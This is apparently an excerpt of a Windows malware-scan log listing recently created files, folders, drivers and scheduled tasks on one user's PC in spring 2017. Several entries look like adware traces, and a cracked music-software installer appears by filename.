2017-05-10 16:11 - 2017-05-10 16:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\My Games
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-4d03-1
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-1147-0
2017-05-09 13:11 - 2017-05-09 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\VNASRE
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{636564e6-512c-0}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{55b52545-312c-1}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{055b525f-612c-0}
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3db3-1
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2227-0
2017-05-08 16:50 - 2017-05-08 16:50 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\ANSARE
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\temp
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\chrome
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-6423-0
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-13c7-1
2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6415-1
2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3141-0
2017-05-07 15:12 - 2017-05-25 16:04 - 00000000 ____D C:\ProgramData\Orbit
2017-05-07 15:12 - 2017-05-07 15:12 - 00281688 _____ C:\Windows\SysWOW64\PnkBstrB.xtr
2017-05-07 15:12 - 2017-05-07 15:12 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\PunkBuster
2017-05-07 15:06 - 2017-05-25 16:04 - 00000000 ____D C:\Users\Nick Schuster\Documents\My Games
2017-05-07 14:58 - 2017-05-11 23:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Ubisoft Game Launcher
2017-05-07 14:51 - 2017-05-07 14:51 - 00000000 ____D C:\Windows\System32\Tasks\Games
2017-05-07 14:41 - 2017-05-07 14:41 - 00282512 _____ C:\Windows\SysWOW64\PnkBstrB.ex0
2017-05-07 14:41 - 2017-05-07 14:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ubisoft
2017-05-07 14:38 - 2017-05-07 14:38 - 00394296 _____ (Duplex Secure Ltd.) C:\Windows\system32\Drivers\sptd.sys
2017-05-07 14:03 - 2017-05-07 14:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Disc_Soft_Ltd
2017-05-07 13:50 - 2017-05-07 13:50 - 00000000 ____D C:\Users\Public\Documents\Daemon Tools Images
2017-05-07 13:14 - 2017-05-07 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Lite
2017-05-07 13:14 - 2017-05-07 13:14 - 00047672 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtliteusbbus.sys
2017-05-07 13:14 - 2017-05-07 13:14 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtlitescsibus.sys
2017-05-07 13:13 - 2017-05-07 13:13 - 00000000 ____D C:\ProgramData\DAEMON Tools Lite
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ba3-1
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-0291-0
2017-05-05 18:00 - 2017-05-05 18:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinRAR
2017-05-05 14:10 - 2017-05-31 13:47 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\background_fault
2017-05-05 14:10 - 2017-05-05 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\WANARE
2017-05-05 14:10 - 2017-05-05 14:10 - 00000000 ____D C:\ProgramData\BIT
2017-05-04 00:06 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-5a03-0
2017-05-04 00:05 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-1c67-1
2017-05-03 22:04 - 2017-05-03 22:04 - 00000000 ____D C:\ProgramData\{93E26451-CD9A-43A5-A2FA-C42392EA4001}
2017-05-03 20:46 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{E291433F-553A-F494-7993-5DB4F74EF600}
2017-05-03 20:46 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1F88CA98-A823-7D33-19C2-25D7F85A3115}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{30a66e80-412c-0}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{0f4d7d53-512c-0}
2017-05-03 20:46 - 2017-05-08 20:37 - 00000000 ____D C:\ProgramData\{00d223fb-612c-1}
2017-05-03 17:47 - 2017-05-03 17:47 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\redsn0w
2017-05-03 17:35 - 2017-05-04 00:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Apple Computer
2017-05-03 17:35 - 2017-05-04 00:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Apple Computer
2017-05-03 17:34 - 2017-05-03 17:34 - 00000000 ____D C:\ProgramData\Apple Computer
2017-05-03 17:06 - 2017-05-07 12:24 - 00000000 _____ C:\Windows\SysWOW64\4
2017-05-03 15:17 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\1111111
2017-05-03 15:17 - 2017-05-03 21:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNAREA
2017-04-28 16:50 - 2017-04-28 17:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\SecondLife
2017-04-27 15:29 - 2017-04-27 15:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Everness
2017-04-27 15:28 - 2017-04-27 15:28 - 00000000 _____ C:\Windows\SysWOW64\33
2017-04-26 17:00 - 2017-05-05 17:00 - 00000000 ____D C:\Insist
2017-04-25 13:12 - 2017-05-05 16:02 - 00000000 ____D C:\Windows\psgo
2017-04-23 14:16 - 2017-03-13 18:38 - 00206848 _____ (Microsoft Corporation) C:\Windows\system32\wmitomi.dll
2017-04-23 14:16 - 2017-03-13 18:29 - 02609664 _____ (Microsoft Corporation) C:\Windows\system32\WsmSvc.dll
2017-04-23 14:16 - 2017-03-13 18:25 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\WsmWmiPl.dll
2017-04-23 14:16 - 2017-03-13 18:13 - 00159232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wmitomi.dll
2017-04-23 14:16 - 2017-03-13 18:07 - 02170880 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmSvc.dll
2017-04-23 14:16 - 2017-03-13 18:06 - 00236032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WsmWmiPl.dll
2017-04-23 14:16 - 2017-03-11 01:38 - 00275800 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\msiscsi.sys
2017-04-23 14:16 - 2017-03-09 22:52 - 00293376 _____ (Microsoft Corporation) C:\Windows\system32\wisp.dll
2017-04-23 14:16 - 2017-03-09 21:17 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wisp.dll
2017-04-23 14:16 - 2017-03-08 04:44 - 00448285 _____ C:\Windows\system32\ApnDatabase.xml
2017-04-23 12:05 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\f9d60eee-41d1-1
2017-04-23 12:05 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\f9d60eee-04d5-0
2017-04-21 12:05 - 2017-04-21 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-6bc1-0
2017-04-21 12:05 - 2017-04-21 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4b23-1
2017-04-20 18:05 - 2017-04-20 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-5761-1
2017-04-20 18:05 - 2017-04-20 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ce5-0
2017-04-20 12:31 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\22
2017-04-20 12:31 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\11
2017-04-19 18:05 - 2017-04-19 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-58d7-1
2017-04-19 18:05 - 2017-04-19 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-0091-0
2017-04-19 14:08 - 2017-05-07 13:38 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\3DM
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{79ad3ae3-412c-1}
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{74b842e5-112c-0}
2017-04-19 14:08 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{4bea5929-412c-0}
2017-04-18 17:00 - 2017-04-18 17:00 - 00004000 _____ C:\Windows\System32\Tasks\Samsung Update
2017-04-17 12:52 - 2017-04-17 12:52 - 00000000 ____D C:\Windows\Update
2017-04-14 12:05 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\f9d60eee-6097-0
2017-04-14 12:00 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{341DC82C-83B6-7F87-DEF3-C97D7103A5DF}
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\f9d60eee-5791-0
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\{698332d3-212c-0}
2017-04-14 12:00 - 2017-04-19 14:08 - 00000000 ____D C:\ProgramData\{26445420-112c-1}
2017-04-14 12:00 - 2017-04-14 12:00 - 00003744 _____ C:\Windows\System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462}
2017-04-14 12:00 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\575f1242
2017-04-13 12:11 - 2017-05-25 12:06 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNARE
2017-04-12 11:01 - 2017-04-29 00:44 - 00835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe
2017-04-12 11:01 - 2017-04-29 00:44 - 00177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl
2017-04-12 10:52 - 2017-03-14 16:26 - 03714560 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-04-12 10:51 - 2017-03-14 21:06 - 00136904 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-04-12 10:51 - 2017-03-14 16:09 - 02240512 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-04-12 10:51 - 2017-03-14 16:08 - 00897024 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-04-12 10:51 - 2017-03-14 16:06 - 00726528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-04-12 10:51 - 2017-03-13 18:13 - 00035840 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-04-12 10:51 - 2017-03-13 18:12 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-04-12 10:51 - 2017-03-13 18:08 - 00409088 _____ (Microsoft Corporation) C:\Windows\system32\WUSettingsProvider.dll
2017-04-12 10:51 - 2017-03-13 18:08 - 00095744 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-04-12 10:51 - 2017-03-13 17:59 - 00124928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-04-12 10:51 - 2017-03-13 17:59 - 00029696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-04-12 10:51 - 2017-03-13 17:56 - 00081920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-04-12 10:51 - 2017-03-12 17:04 - 00033792 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\BasicRender.sys
2017-04-12 10:51 - 2017-03-11 05:59 - 01763888 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll
2017-04-12 10:51 - 2017-03-11 05:56 - 01489608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll
2017-04-12 10:51 - 2017-03-11 05:44 - 00373080 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-04-12 10:51 - 2017-03-11 05:41 - 00315224 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-04-12 10:51 - 2017-03-09 23:08 - 00044032 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-04-12 10:51 - 2017-03-09 21:29 - 00035840 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-04-12 10:51 - 2017-03-04 21:24 - 00132096 _____ (Microsoft Corporation) C:\Windows\system32\rdpudd.dll
2017-04-12 10:51 - 2017-03-04 21:06 - 00091648 _____ (Microsoft Corporation) C:\Windows\system32\asycfilt.dll
2017-04-12 10:51 - 2017-03-04 20:15 - 00077824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\asycfilt.dll
2017-04-12 10:51 - 2017-03-04 18:37 - 03547648 _____ (Microsoft Corporation) C:\Windows\system32\rdpcorets.dll
2017-04-12 10:51 - 2017-03-03 17:11 - 01697792 _____ (Microsoft Corporation) C:\Windows\system32\quartz.dll
2017-04-12 10:51 - 2017-03-03 17:10 - 00138752 _____ (Microsoft Corporation) C:\Windows\system32\mfmjpegdec.dll
2017-04-12 10:51 - 2017-03-03 17:06 - 01501184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\quartz.dll
2017-04-12 10:51 - 2017-03-03 17:04 - 00092672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmjpegdec.dll
2017-04-12 10:51 - 2017-02-11 20:18 - 00477184 _____ (Microsoft Corporation) C:\Windows\system32\puiobj.dll
2017-04-12 10:51 - 2017-02-11 19:00 - 00865792 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-04-12 10:51 - 2017-02-11 18:49 - 00269824 _____ (Microsoft Corporation) C:\Windows\system32\DafPrintProvider.dll
2017-04-12 10:51 - 2017-02-11 18:42 - 00204288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DafPrintProvider.dll
2017-04-12 10:51 - 2017-02-10 21:06 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-04-12 10:51 - 2017-02-10 16:37 - 00046600 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdBoot.sys
2017-04-12 10:51 - 2017-02-04 19:53 - 00111616 _____ (Microsoft Corporation) C:\Windows\system32\samlib.dll
2017-04-12 10:51 - 2017-02-04 19:51 - 00842240 _____ (Microsoft Corporation) C:\Windows\system32\samsrv.dll
2017-04-12 10:51 - 2017-02-04 19:19 - 00065024 _____ (Microsoft Corporation) C:\Windows\SysWOW64\samlib.dll
2017-04-12 10:51 - 2017-02-01 21:44 - 00201728 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-04-12 10:51 - 2017-02-01 21:42 - 00401408 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-04-12 10:51 - 2017-01-19 04:18 - 01113944 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ndis.sys
2017-04-12 10:51 - 2017-01-18 16:35 - 00994760 _____ (Microsoft Corporation) C:\Windows\system32\ucrtbase.dll
2017-04-12 10:51 - 2017-01-18 16:34 - 00922432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ucrtbase.dll
2017-04-12 10:51 - 2017-01-14 22:32 - 00955016 _____ (Microsoft Corporation) C:\Windows\system32\mfmp4srcsnk.dll
2017-04-12 10:51 - 2017-01-14 21:18 - 00787688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmp4srcsnk.dll
2017-04-12 10:51 - 2017-01-12 18:51 - 00274776 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdFilter.sys
2017-04-12 10:51 - 2017-01-12 18:51 - 00117592 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\WdNisDrv.sys
2017-04-12 10:51 - 2017-01-12 08:12 - 00990040 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\http.sys
2017-04-12 10:51 - 2017-01-11 21:12 - 00342016 _____ (Microsoft Corporation) C:\Windows\system32\SessEnv.dll
2017-04-12 10:51 - 2017-01-11 19:28 - 00422744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\spaceport.sys
2017-04-12 10:51 - 2017-01-11 17:09 - 00296960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SessEnv.dll
2017-04-12 10:51 - 2017-01-11 00:37 - 00138752 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dfsc.sys
2017-04-12 10:51 - 2017-01-10 23:06 - 00840192 _____ (Microsoft Corporation) C:\Windows\system32\netlogon.dll
2017-04-12 10:51 - 2017-01-10 22:46 - 01388544 _____ (Microsoft Corporation) C:\Windows\system32\mispace.dll
2017-04-12 10:51 - 2017-01-10 21:20 - 00696832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\netlogon.dll
2017-04-12 10:51 - 2017-01-10 21:09 - 01108480 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mispace.dll
2017-04-12 10:51 - 2017-01-06 19:25 - 02513408 _____ (Microsoft Corporation) C:\Windows\system32\storagewmi.dll
2017-04-12 10:51 - 2017-01-06 19:04 - 01495552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\storagewmi.dll
2017-04-12 10:51 - 2016-12-25 03:21 - 00040960 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\scfilter.sys
2017-04-12 10:51 - 2016-12-25 03:14 - 00242176 _____ (Microsoft Corporation) C:\Windows\system32\WinSCard.dll
2017-04-12 10:51 - 2016-12-25 02:48 - 00158720 _____ (Microsoft Corporation) C:\Windows\system32\certprop.dll
2017-04-12 10:51 - 2016-12-25 02:19 - 00170496 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinSCard.dll
2017-04-12 10:51 - 2016-12-25 01:39 - 00133120 _____ (Microsoft Corporation) C:\Windows\system32\ScDeviceEnum.dll
2017-04-12 10:51 - 2016-12-09 10:08 - 00379736 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\storport.sys
2017-04-10 13:59 - 2017-05-07 13:44 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AMD
2017-04-10 13:59 - 2017-04-10 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNARER
2017-04-06 23:28 - 2017-05-07 13:34 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\clean
2017-04-04 00:34 - 2017-04-04 01:35 - 00003336 _____ C:\Windows\System32\Tasks\Update
2017-03-30 21:00 - 2017-05-05 17:00 - 00003520 _____ C:\Windows\System32\Tasks\Windows-PG
2017-03-30 21:00 - 2017-03-30 21:00 - 00000000 ____D C:\Update
2017-03-29 10:46 - 2017-03-29 10:46 - 00000000 ____D C:\Program Files (x86)\temp
2017-03-28 19:41 - 2017-03-28 19:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Firefox
2017-03-28 19:39 - 2017-03-28 19:39 - 00000000 ____D C:\Windows\system32\log
2017-03-28 19:39 - 2017-03-28 19:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Firefox
2017-03-28 19:39 - 2017-03-28 19:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Yeshat
2017-03-28 19:39 - 2016-05-23 04:41 - 00055056 _____ (Elex do Brasil Participa珲es Ltda) C:\Windows\system32\Drivers\iSafeKrnlBoot.sys
2017-03-28 19:39 - 2016-05-19 08:42 - 00052392 _____ (Elex do Brasil Participa珲es Ltda) C:\Windows\system32\Drivers\iSafeNetFilter.sys
2017-03-28 19:38 - 2017-04-01 11:33 - 00000000 _____ C:\Windows\SysWOW64\3
2017-03-27 14:45 - 2017-03-27 14:45 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\clean
2017-03-22 23:56 - 2017-03-22 23:56 - 00000000 ____D C:\Users\Public\Documents\Steam
2017-03-22 23:46 - 2017-03-29 10:52 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Call of Duty Modern Warfare Remastered
2017-03-19 16:46 - 2017-03-19 16:46 - 00000000 ____D C:\Users\Nick Schuster\Documents\Audacity
2017-03-19 16:30 - 2017-03-19 16:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\audacity
2017-03-19 15:51 - 2017-04-04 11:44 - 00000000 ____D C:\Users\Nick Schuster\Desktop\Viedeo
2017-03-19 15:48 - 2017-03-19 15:48 - 00000000 ____D C:\Users\Nick Schuster\Desktop\allgemein
2017-03-19 14:02 - 2017-03-19 16:15 - 00001283 _____ C:\Users\Nick Schuster\Desktop\Adobe After Effects CC 2015.lnk
2017-03-19 13:49 - 2017-03-19 13:49 - 00000000 ____D C:\Users\Public\Documents\AdobeInstalledCodecs
2017-03-19 13:44 - 2017-03-19 13:44 - 00001251 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe After Effects CC 2015.lnk
2017-03-19 13:42 - 2017-03-19 13:42 - 00001357 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Character Animator (Preview).lnk
2017-03-19 13:40 - 2017-03-19 13:49 - 00000000 ____D C:\Program Files\Common Files\Adobe
2017-03-19 13:38 - 2017-03-21 15:01 - 00001567 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Application Manager.lnk
2017-03-19 11:39 - 2017-03-19 11:39 - 00003518 _____ C:\Windows\System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de
2017-03-19 11:38 - 2017-03-21 21:32 - 00000000 ____D C:\Users\Nick Schuster\Documents\Adobe
2017-03-19 11:25 - 2017-03-19 11:55 - 00000000 ___RD C:\Users\Nick Schuster\Creative Cloud Files
2017-03-19 11:25 - 2017-03-19 11:25 - 00000000 ____D C:\ProgramData\boost_interprocess
2017-03-18 23:48 - 2017-03-18 23:48 - 00000000 ____D C:\Users\Nick Schuster\Documents\CPY_SAVES
2017-03-18 15:14 - 2017-03-18 15:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\MegaDownloader
2017-03-18 15:14 - 2017-03-18 15:14 - 00000000 ____D C:\Program Files\MegaDownloader
2017-03-18 14:21 - 2017-03-18 14:21 - 00000000 ____D C:\Program Files (x86)\ASIO4ALL v2
2017-03-18 14:20 - 2017-03-18 14:20 - 00000000 ____D C:\Program Files\Steinberg
2017-03-18 14:20 - 2017-03-18 14:20 - 00000000 ____D C:\Program Files (x86)\Steinberg
2017-03-18 14:19 - 2015-03-11 12:47 - 01554944 _____ (HMS hxxp://hp.vector.co.jp/authors/VA012897/) C:\Windows\SysWOW64\vorbis.acm
2017-03-18 14:19 - 2015-03-11 12:47 - 01470976 _____ (HMS hxxp://hp.vector.co.jp/authors/VA012897/) C:\Windows\system32\vorbis.acm
2017-03-18 14:14 - 2015-09-04 13:44 - 666655339 _____ (Image-Line ) C:\Users\Nick Schuster\Documents\fl studio 12 crack setup.exe
2017-03-17 15:51 - 2017-03-17 15:54 - 00000000 ___RD C:\Users\Nick Schuster\Documents\MEGA
2017-03-17 15:51 - 2017-03-17 15:51 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Mega Limited
2017-03-17 14:02 - 2017-05-31 10:46 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-03-17 13:45 - 2017-04-28 19:17 - 00003542 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2017-03-17 13:45 - 2017-04-28 19:17 - 00003414 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2017-03-17 12:39 - 2017-03-17 12:39 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\BrowserModule
2017-03-17 12:37 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\5aceedc5-7cf5-1
2017-03-17 12:37 - 2017-04-14 12:00 - 00000000 ____D C:\ProgramData\5aceedc5-3161-0
2017-03-17 12:30 - 2017-03-17 12:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Equalizer APO 1.1.2
2017-03-17 12:20 - 2017-06-01 12:00 - 00003614 _____ C:\Windows\System32\Tasks\Milimili
2017-03-17 12:20 - 2017-05-07 13:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Kyubey
2017-03-17 12:20 - 2017-03-17 14:16 - 00000000 ____D C:\Program Files (x86)\MIO
2017-03-17 12:19 - 2017-06-01 12:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc
2017-03-17 12:19 - 2017-03-21 15:08 - 00000000 ____D C:\Program Files (x86)\BikaQRss
2017-03-17 00:03 - 2017-03-17 00:04 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Mikghbiritain
2017-03-17 00:03 - 2017-03-17 00:03 - 00006020 _____ C:\Windows\System32\Tasks\Qizsywosale Core
2017-03-17 00:03 - 2017-03-17 00:03 - 00003992 _____ C:\Windows\System32\Tasks\Perkeentgreserk
2017-03-17 00:03 - 2017-03-17 00:03 - 00000000 ____D C:\Program Files (x86)\Qizsywosale Core
2017-03-16 23:29 - 2017-05-14 22:50 - 00000000 ____D C:\Users\Nick Schuster\Desktop\fl studio songs
2017-03-16 13:19 - 2017-05-31 16:11 - 00001312 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-03-15 19:52 - 2017-02-04 22:30 - 01663184 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-03-15 19:52 - 2017-02-04 22:30 - 01523216 _____ (Microsoft Corporation) C:\Windows\system32\winload.exe
2017-03-15 19:52 - 2017-02-04 22:30 - 01490128 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-03-15 19:52 - 2017-02-04 22:30 - 01358960 _____ (Microsoft Corporation) C:\Windows\system32\winresume.exe
2017-03-15 19:52 - 2017-01-05 20:09 - 07076864 _____ (Microsoft Corporation) C:\Windows\system32\glcndFilter.dll
2017-03-15 19:52 - 2017-01-05 19:13 - 07796224 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Data.Pdf.dll
2017-03-15 19:51 - 2017-02-09 17:28 - 01987584 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-03-15 19:51 - 2017-02-09 17:19 - 01377792 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-03-15 19:51 - 2017-02-09 17:16 - 01560064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-03-15 19:51 - 2017-02-09 16:59 - 00658432 _____ (Microsoft Corporation) C:\Windows\system32\dnsapi.dll
2017-03-15 19:51 - 2017-02-09 16:58 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dnsapi.dll
2017-03-15 19:51 - 2017-02-09 16:58 - 00252416 _____ (Microsoft Corporation) C:\Windows\system32\dnsrslvr.dll
2017-03-15 19:51 - 2017-02-04 21:32 - 00251392 _____ (Microsoft Corporation) C:\Windows\system32\microsoft-windows-system-events.dll
2017-03-15 19:51 - 2017-02-04 21:30 - 00285184 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-03-15 19:51 - 2017-02-04 20:14 - 01001472 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-03-15 19:51 - 2017-02-04 19:50 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\icm32.dll
2017-03-15 19:51 - 2017-02-04 19:40 - 01754112 _____ (Microsoft Corporation) C:\Windows\system32\GdiPlus.dll
2017-03-15 19:51 - 2017-02-04 19:32 - 00584704 _____ (Microsoft Corporation) C:\Windows\system32\mscms.dll
2017-03-15 19:51 - 2017-02-04 19:17 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\icm32.dll
2017-03-15 19:51 - 2017-02-04 19:10 - 01491456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\GdiPlus.dll
2017-03-15 19:51 - 2017-02-04 19:05 - 00503808 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mscms.dll
2017-03-15 19:51 - 2017-01-21 23:37 - 00567152 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\cng.sys
2017-03-15 19:51 - 2017-01-21 21:27 - 00756736 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-03-15 19:51 - 2017-01-21 21:27 - 00061952 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-03-15 19:51 - 2017-01-21 20:40 - 00756736 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-03-15 19:51 - 2017-01-21 20:40 - 00061952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-03-15 19:51 - 2017-01-14 19:49 - 00146944 _____ (Microsoft Corporation) C:\Windows\system32\wininit.exe
2017-03-15 19:51 - 2017-01-11 21:37 - 02345984 _____ (Microsoft Corporation) C:\Windows\system32\msxml3.dll
2017-03-15 19:51 - 2017-01-10 21:08 - 01549312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msxml3.dll
